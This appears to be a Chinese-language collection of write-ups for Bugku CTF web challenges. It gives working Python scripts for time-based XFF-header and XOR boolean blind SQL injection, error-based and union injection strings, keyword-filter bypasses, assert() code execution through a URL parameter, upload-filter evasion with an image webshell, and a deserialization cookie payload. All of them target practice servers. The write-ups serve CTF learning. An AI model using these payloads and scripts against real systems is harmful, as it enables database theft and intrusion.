Table of Contents
2,秋名山车神:
3,速度要快
4 welcome to the bugkuctf
1,login1(sql约束攻击)
sql约束攻击:
2,过狗一句话
3,细心
4,求getshell
5,INSERT INFO (sql注入 之 X - F -F 头注入)
6,这是一个神奇的登陆框
7 多数(sql 注入)
8,PHP_encrypt_1(ISCCCTF)(代码审计)
9, 文件上传2
10,flag.php(反序列化)
11,sql 注入 2()
12, Trim的日记本
13,login3(过滤了 空格、=、union、逗号、and、where等字符的 布尔型盲注)
import requests
import re #这个库一般用来匹配文字
url = 'http://123.206.87.240:8002/qiumingshan/' #url
r = requests.session() #requests.sesssion()对象可以跨请求的保存某些参数
g = r.get(url) #产生一个请求资源的对象,get方法
ans = re.findall('(.*?)=?;',g.text)
#使用re库中的findall方法,匹配正则。第一个参数是要匹配的正则表达式,
# 第二个参数是将我们请求到的资源变成字符串的形式,再以列表的形式返回到变量ans中
ans = "".join(ans) #将ans从列表的形式转化为字符串的形式
ans = ans[:-2] #去掉ans最后的两个字符,这里即去掉=?
post = eval(ans) #执行我们处理完的字符串,即那个变态的表达式
data = {'value':post} #构造data的post部分
flag = r.post(url,data=data) #生成post请求,post的值是算出来的结果
print(flag.text) #打印返回的数据即flag值
import requests
import base64
url='http://123.206.87.240:8002/web6/'
r = requests.session()
headers = r.get(url).headers #这三句是为了让我们能跟网站关联起来,可以向网站拿数据和发送数据
mid = base64.b64decode(headers['flag'])
mid = mid.decode()
print(mid)
#burp suite 回显的包的headers中发现了flag:...... base64解码
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值 并再次解码
print(flag)
data={'margin':flag}
print(r.post(url,data).text) #发送margin 并输出回显信息
1.通过php://input对变量输入内容,让file_get_contents能够读取变量的内容
2.通过php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代码
3.通过反序列化,对echo的魔术方法__tostring()里面的参数进行赋值
首先点入链接,查看源代码:
发现这里是 txt 给user赋值,读取user的文件,且文件内容是“welcome to the bugkuctf”时,就会包含一个文件,我们可以利用这个文件包含的漏洞,去读取我们想要的文件,
利用file=php://filter/read=convert.base64-encode/resource=xxx.php (这里必须要先编码,不然读到的代码会被网页执行)
当然我们的第一反应肯定是去读flag.php:发现不行
然后尝试去读其他文件,比如hint.php 和 index.php
经过base64解码后得到:
#hint.php
file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
#index.php
";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
读index.php 发现file变量的内容中不允许有flag,否则直接输出并退出;
发现index.php中还有反序列化的内容,并且输出了字符串(输出字符串时会自动调用_toString()魔术方法)
于是想到构造序列化的字符串,使在调用魔术方法时能读取并输出 flag.php 文件
并通过bp 去获取flag://flag{php_is_the_best_language} 1
1、sql处理字符串时,一般是在比较字符串时,会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。
也就是说,"admin"和"admin "是等效的。因此,用where id="admin"查询和用where id="admin "查询的结果相同。
2、SQL中varchar(n)用于限制最大长度,若字符串长度大于n,则只截取前n个字符。如果用varchar(5)限制了insert查询的最大长度,则插入
"admin"和"admin “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息。
3,可以自己测试一下,注册"admin "(admin和4个空格)varchar(15),因为"admin" 与"admin "的长度不同,会成功存入数据库中,打开PHPadmin 查看一下,的确有 "admin "这个新注册的用户,然后修改用户 "admin "的密码为 123123,会发现是原来的"admin"用户的密码被修改为 123123
因此,
可以利用这个漏洞来绕过,方法:若注册时已知admin这个用户名存在,则我们可以注册admin(空格空格空格…)这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。
1,根据提示:
explode()是将字符串分割为数组
化简后就是:
assert($_GET['s'])
//assert()会将执行内部的字符串 ,有漏洞
在地址栏中构造payload:
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
去浏览目录:
得到的信息:
Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
打开 得到flag:
http://123.206.87.240:8010/flag_sm1skla1.txt
flag: BUGKU{bugku_web_009801_a}
打开:提示让用admin
先用御剑扫描一下后台窗口:
发现有有一个 robotx.txt协议
打开协议:
进入 resusl.php
接着传参 ?x=admin
得到:flag(ctf_0098_lkji-s)
上传题:
一共三个过滤
请求头部的 Content-Type
文件后缀
请求数据的Content-Type
这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过
接下来,请求数据的Content-Type字段改为 image/jpeg
但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: MuLtipart/form-data;
KEY{bb35dc123820e}
提上给的代码:
大致意思就是将获取的 XFF头的ip 地址 插入了数据控中 这里存在了一个注入点, 因为没有对 XFF头的信息进行过滤
用burp-suit进行手工注入是不可能的,这辈子都不会用 手工进行 延时注入的
直接上py脚本
首先获取数据库名 + 表名
import requests
char= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_@.%&-'
url = 'http://123.206.87.240:8002/web15/'
payload_db_len = "1'+(select case when (length(database())='{0}') then sleep(6) else 1 end)+'1"
#猜解数据库名称的payload
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
#猜解表数量的payload
payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1"
#猜解表名字长度的payload
payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1"
#猜解表名字的payload
payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"
db_length = 0
def get_db_length():#数据库名长度
global db_length
for n in range(1,40):
try:
headers = {'x-forwarded-for': payload_db_len.format(n)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
db_length = n
break
print("db_length:"+ str(db_length))
db_name = ''
def get_db_name(): # 数据库名破解
global db_name
for i in range(1, db_length +1):
for j in char:
try:
headers = {'x-forwarded-for': payload_db.format(i,j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
# print(payload_db.format(i,j))
db_name += j
break
print('db_name: ' + db_name)
table_num = 0
def get_data_num():#获取表的数量
global table_num
for i in range(1, 50):
try:
headers = {'x-forwarded-for': payload_tb_num.format(db_name, str(i))}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
table_num = i
print('table_num: ' + str(i))
break
def get_table_name():
len = 0
for i in range(table_num):
for j in range(50):
try:
headers = {'x-forwarded-for': payload_tb_name_len.format(db_name, i, j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
len = j
break
print("No." + str(i + 1) + " table's length is: " + str(len))
table_name = ''
for k in range(1, len + 1):
for j in char:
try:
headers = {'x-forwarded-for': payload_tb_name.format(db_name, i, k, j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
# print(payload_tb_name.format(db_name,i,k,j))
table_name += j
break
print(table_name)
get_db_length()
get_db_name()
get_data_num()
get_table_name()
字段名:
import requests
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_-+=@%^&.'
url = 'http://123.206.87.240:8002/web15/'
target_db = 'web15'
target_tb = 'flag'
payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1"
payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1"
payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"
col_num = 0
def get_col_num():
global col_num
for i in range(50):
try:
headers = {'x-forwarded-for': payload_col_num.format(target_db, target_tb, i)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
col_num = i
break
print('col_num = ' + str(col_num))
def get_col_name():
len = 0
for i in range(col_num):
for j in range(50):
try:
headers = {'x-forwarded-for': payload_col_len.format(target_db, target_tb, i, j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
len = j
print("No." + str(i + 1) + "column's length : " + str(len))
break
col_name = ''
for k in range(1, len + 1):
for j in dic:
try:
headers = {'x-forwarded-for': payload_col_name.format(target_db, target_tb, i, k, j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
col_name += j
print(col_name)
break
get_col_num()
get_col_name()
脱库:
import requests
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
url = "http://123.206.87.240:8002/web15/"
paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"
flag = ''
def get_flag():
global flag
for i in range(1, 100):
for j in dic:
try:
headers = {'x-forwarded-for': paylaod_content.format(i, j)}
res = requests.get(url, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
#print(paylaod_content.format(i, j))
flag += j
break
print("....: "+flag)
get_flag()
print(flag)
打开是一个登录框 ,一看就知道是在考察 sql 注入 的相关知识 ok
第一步 : 找 username 的 闭合方式,输入 1" 发现竟然可以报错 ,那这就简单了好多啊
确定是 双引号 的闭合
第二步爆信息
爆库名:
1" and 1=extractvalue(1,concat(0x7e,(database()))) #
爆出: 数据库名:bugkusql1
爆表名:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #
爆字段:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'flag1'))) #
脱库:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(flag1)from flag1 ))) #
这里提交flag后发现是错误的 !!!!!看一下 是31位 的字符串 似乎是少了一位
傲傲 我知道了报错注入 的 extractvalue() 函数 和 updatexml() 函数的回显位 最多为 32 位
那换 用 联合查询 :
换用联合查询需要先 确定 回显位
先用 1" order by 3 # 发现 错误
再用 1" order by 2 # 正常
用 1" union select 3,4 # 发现回显的是 3 ok那就在 3 的位置进行注入
直接跳到脱库吧:
-1" union select group_concat(flag1),2 from flag1 #
得到flag:
flag{ed6b28e684817d9efcaf802979e57aea}
看来还是要少用报错注入啊
提示有两个 flag (这点很重要)而且都是小写
打开链接 发现是一个 典型的 GET 型 sql注入 题
第一步:先测 闭合方式 :
当注入 单引号时 会出现 Error!Error!Error!
加 注释符 --+ 后 回显正常
可知道 闭合方式 是 单引号 而且 不会报错,这里不能用报错注入
第二步: 测有几个回显字段
?id=1'order by 2 --+
发现无论怎么改变 后面的数字 都 是 Error! Error! Error!
考虑可能是 把关键字过滤了 猜测可能 把 or and union select 等关键字过滤了
注入:
?id=1' oorrder by 2 --+ //正常
?id=1' oorrder by 3 --+ //Error!
证实了我的想法 or 被过滤 了 这里使用 双写的方法绕过 过滤
后面 其他被过滤的 关键字我就不一一说明 证明方法了
?id=-1' uniounionn selecselectt 1,3--+ // 回显的 是 3
得出有两个回显字段 并且 回显位为第二个 位置
第三步: 报信息
// 爆库名
?id=-1' uniounionn selecselectt 1,database()--+
得到库名 :web1002-1
// 爆表
?id=-1' uniounionn selecselectt 1,group_concat(table_name)from infoorrmation_schema.tables where table_schema = database()--+
得到表名:flag1,hint
//爆字段
?id=-1' uniounionn selecselectt 1,group_concat(column_name)from infoorrmation_schema.columns where table_name= 'flag1'--+
得到字段:flag1,address
//脱库
?id=-1' uniounionn selecselectt 1,group_concat(flag1)from flag1 --+
得到信息: usOwycTju+FTUUzXosjr
转化成全小写后 得到 flag{usowyctju+ftuuzxosjr} 提交发现 不对
尝试 爆第二个字段:
?id=-1' uniounionn selecselectt 1,group_concat(address)from flag1 --+
得到:
进去发现 有又一道 sql 注入题
第一步: 确定闭合方式
注入 单引号时 有报错信息 显示 双引号时 正常 说明 是 单引号 闭合
有报错信息 那就可以用 报错注入了
第二步 : 爆信息 (用报错注入的话就 不用在确定回显位等等那么麻烦了 , 直接爆信息就行)
// 爆库名
?id=1' and 1= extractvalue(1,concat(0x7e,(database()))) --+
库名:web1002-2
// 爆表
?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(table_name)from information_schema.tables where table_schema = database()))) --+
得到表名:class,flag2
// 爆字段
?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(column_name)from information_schema.columns where table_name='flag2'))) --+
得到字段:flag2,address
// 脱库
?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(flag2)from flag2))) --+
得到:flag{Bugku-sql_6s-2i-4t-bug}
将得到的flag 转换成 小写得到 flag{bugku-sql_6s-2i-4t-bug}
注入结束!(这题好像 把 union 关键字过滤了)
补充一点 : 这题不能用 盲注 进行操作,因为他把 sleep 和 substr 和 union 关键字被过滤了
总结 : 判断某关键字是否被过滤的方法:
用 异或符 ^ 进行判断
比如:
?id=1'^(length('union')>0)--+ // 回显正常 说明 union 被过滤了
?id=1'^(length('xss')>0)--+ // 回显错误 说明 xss 没有被过滤
首先发现一段密文: base64解密一下 没解出东西
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
打开文件是个php 的加密函数:
看来给出的密文应该是 经过这个 函数加密后得到的
那 就需要 写一个 解密函数 把密文解密 应该就可以得到flag 了
直接去找了两个 代码:
Python 脚本:
import base64
import hashlib
def decrypt(b64):
b64 = str(base64.b64decode(b64), encoding='utf8') # base64转换后是byte类型数据
key = 'ISCC'
m = hashlib.md5()
m.update(key.encode())
md = m.hexdigest()
b64_len = len(b64)
x = 0
char = ''
for i in range(b64_len): # strlen($str)==strlen($char)==strlen($data)
if x == len(md):
x = 0
char += md[x]
x += 1
data = ''
for i in range(b64_len): # 也可不进行正负判断:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)
d = ord(b64[i]) - ord(char[i])
if d > 0: # 进行判断,如果相减小于0,说明需要加上128
data += chr(d)
else:
data += chr(d + 128)
print(data)
if __name__ == "__main__":
b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
decrypt(b64)
php脚本:
$value) { // 对偏移后的密文数据进行还原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数
$data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数
}
print "data1 => ".$data1."
\n";
print "data2 => ".$data2."
\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
跑出来的 flag:
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
查看源代码 一段JavaScript的event:大致意思按 b 就会重新定向到新的页面 然后试了一下 发现是假的
发现注释有给提示 :
访问一下 upload.php
http://123.206.31.85:49166/index.php?file=upload.php
出现一个上传页面:
那就利用这个上传,构造一个 图片马 来获取系统文件 的目录 从而得到 flag所在文件的文件名
构造一个图片马 :
构造payload:
找一个小一点的图片 用 winhex 打开 把payload 插入到 最后 然后保存 上传
上传 后:
然后访问 这个文件(如果payload还在 图片中的话 这段代码会被浏览器解析 执行 从而显示系统目录)、
http://123.206.31.85:49166/index.php?file=upload/20190818454656.jpg
发现图片被重新渲染了 插入的代码不见了
那我们就把代码插入到不会重新渲染的部分:(一般在文件头偏后一点的位置)
然后重新上传 访问 后 正常解析:
得到了系统目录
然后访问 flag 文件
http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
打开题目入口时有提示:
进入是一个登陆表单 ,我还以为是一个 sql注入题呢,然后输入 admin admin 后点 login 不管用
打开 源代码 没发现什么异常 就是 没有跳转的页面而已
这时候想到提示 的 hint 既然post 不行 就试一试 get
在 url 中 注入:
?hint=1
大致意思是说:
第一句话的意思 是 得到 用户名 为 ISecer 的cookie
如果 通过 get 传入了 参数 hint 的话 就输出 后台 的源代码
否则 如果 cookie 的反序列化的 值 等于 $KEY 的话 就输出 flag
看到 最后一句话的时候 我没加思索的 就认为 $KEY 的值 就是 'ISecer:www.isecer.com'
后来提交后没出来 flag 时 ,回过头来仔细看 才发现 这里 $KEY 是 最后赋值的 跟前面一毛钱关系也没有
也就是说 前面的 $KEY = NULL
既然要提交Cookie 那我们就 用 burp suite 提交构造的 Cookie呗
构造Cookie :
这里需要考虑到反序列化的问题 ,所以构造 :
Cookie: ISecer=s:0:""%3B
// %3B 是 ; 的意思
得到flag:
flag{unserialize_by_virink}
方法一:正常的注入手段解决
入口处提示 过滤了 部分字符:
到底过滤了哪些字符呢? 搞了个 关键字符 的字典 在 burp-suite 中 搞一下:
不过 发现异或符号 ^ 和 - 没有被过滤!!!这点 非常重要
尝试注入:uname=admin'^' 回显password error
尝试注入:uname=admin'^1^' 回显 username error
这里 就可以的得出一个结论 : 如果中间 的 部分是正确的 即为 1 的话 就会回显 username error
利用这一点我们就可以 使用脚本进行注入了:
由于 逗号 和 空格 都被过滤了 所以 substr()函数就不能用了
需要找一个替代方案:mid()
mid()函数的特性:
mid("password"from(-1)) 返回 d
mid("password"from(-3)) 返回 ord
我们再利用一个 reverse() 函数 将字符串翻转
然后再利用 mid() 函数 截取最后一个 字符 就能 实现 substr(string,start,1)的功能了
mid("12345"from(-3)) // 345
reverse(mid("12345"from(-3))) //543
mid(reverse(mid("12345"from(-3)))from(-1)) // 3
然后我们 就可以写脚本注入了: 此时我们可以选择
1, 按照常规的注入 方式 从数据库名 一步一步得到 flag (太麻烦了也)
2.,选择 注入 存储 用户信息的表 去 得到 username 和password 登录后就会拿到 flag
(第二种比较简单 ,因为我们已经知道一个用户名 admin 了 ,只需要去 得到password 就可以了)
上脚本:
# -*-coding:utf-8-*-
# author : wen
# flag:wen{b7bb30b3435f2e7c418b131f9e789f81}
import requests
url = 'http://123.206.87.240:8007/web2/login.php'
char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
flag = ''
for i in range(1, 40):
for p in range(32, 126):
# url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)
payload = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)
data = {
'uname': payload,
'passwd': '123456'
}
html = requests.post(url, data=data).text
if 'username' in html:
print(i)
flag += chr(p)
print(flag)
print("=================================>")
print("\n" + flag)
看完这个脚本是不是和我一样有很多 疑问?
1, 这里的 字段 passwd 是哪里来的? 看网页源码 看到表单中 用的 passwd ,就猜测数据库中 也用的 passwd
(或者你就直接在脚本里试 password 、passwd、pwd)
2,为什么没有 用常规的 select 语句去 查询 passwd ? 因为这用 用的是异或 语句
异或语句 的 返回值 只能是 1 或 0 异或语句前面再加一个 where 时 情况就变得不太一样,具体请看下面的例子:
正常的查询语句:select * from xxx where username=‘xxxx’;
再试一下:select *from users where username=0
这里几乎输出了 所有的信息 (username = 123Mikasa 的没有输出) 因为这里就行查询 对比 时 字符串会被强制转换为 和 0 一样的 类型 ,而 123Mikasa 转换为int 时 为 123 ,所以没有输出
而我们用 的 异或语句 返回值 就是布尔型的 在 后台程序进行查询比对信息时就构成了:
select *from users where uname=0,passed=123,所以 uname 为 纯 字符的都会被查询
得到 一个 32位的字符串 32位那肯定是 md5 了 解密 得到 :admin123
uname : admin
passwd: admin123
登录后:看到这个界面 随便输了字符 就得到flag:
flag{sql_iNJEct_comMon3600!}
方法 二:用 DS_Store 源码泄露
用 御剑 跑了一下 没有 发现什么
只好用 Python 脚本来跑:(这个脚本其实和御剑后台扫描差不多)
DS_Store下载地址:https://github.com/lijiejie/ds_store_exp
(我的电脑同时装了 Python 2 和 Python 3 ,并都配置了相关的路径 ,所以 我在跑代码是 前面 必须加 python2 或者 python3 ,)
进入:http://123.206.87.240:8007/web2/flag 后会自动下载一个 flag 文件 用记事本打开 就能看到flag
打开 login 界面 和 register 界面 都显示 mysql connect error 查看源码也没发现什么 异常
只好先打开御剑 扫描一下 了
结构扫面出来一个 show.php 打开;
这个flag 咱也不知道 是真是假 这 200 分的题这么容易就给了flag??
不管了 提交一下试一试 直接复制提交 过了 。。。。。。what ? 果然大佬 都是怪兽 !!!!
flag1:{0/m9o9PDtcSyu7Tt} 直接提交
首先 试一下 admin 和 admin 提示 password error!(这里知道用户名 admin是存在的)
这里知道了用户名 admin,那用万能密码试一下呗
输入密码: admin' or 1 =1 # 提示password error !应该是有 过滤吧
用 自己写的 sql 关键字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被过滤了:
对username 字段:(返回值为 1016 的 在response 中 提示 非法字符 ,说明 1016 的字符试被过滤的 ,1023的没有过滤)
可以看到 = ,逗号,union ,and 、where 都被过滤了
对password字段:(username 设置的是 admin ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出开有哪些字符被过滤了)
咱们的思路肯定不能是 去 一步一步的爆 库 了,太麻烦了
既然知道了用户名 那直接组爆 password 不就行了
还好没有 过滤 异或 符 ^ 那我们就用 异或 注入
当 在 username 中 输入 admin'^' 时 会提示 password error!
输入 admin'^1^'时 会提示 username does not exist!
输入 admin'^0^'时 会提示 password error!
那我们就可以去 把 admin'^0^' 中 0 位置的 替换成我们的布尔判断语句
如果 判断语句是正确的即为1 那就会提示 username does not exist!
否则就会提示 : password error !
根据这个 去写一个 布尔的盲注脚本:(在用 substr()函数的时候特别注入 逗号 被过滤的 只能 用 from的形式)
import requests
url = "http://123.206.31.85:49167/index.php"
char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
stop = 0
for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
#payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))
payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))
data = {
'username': payload,
'password': '123'
}
html = requests.post(url, data=data)
if 'error' in html.text:
result +=c
stop =1
print(i)
print("......" + result)
break #匹配到值后内循环停止
if stop == 0: #当内循环匹配不到值的时候外循环就停止
print("\n"+result)
break
然后就得到 password 的 值 为一个 md5加密过的字符串 :51b7a76d51e70b419f60d3473fb6f900
解密后得到:skctf123456
输入admin 和 skctf123456 后得到flag:
SKCTF{b1iNd_SQL_iNJEcti0n!}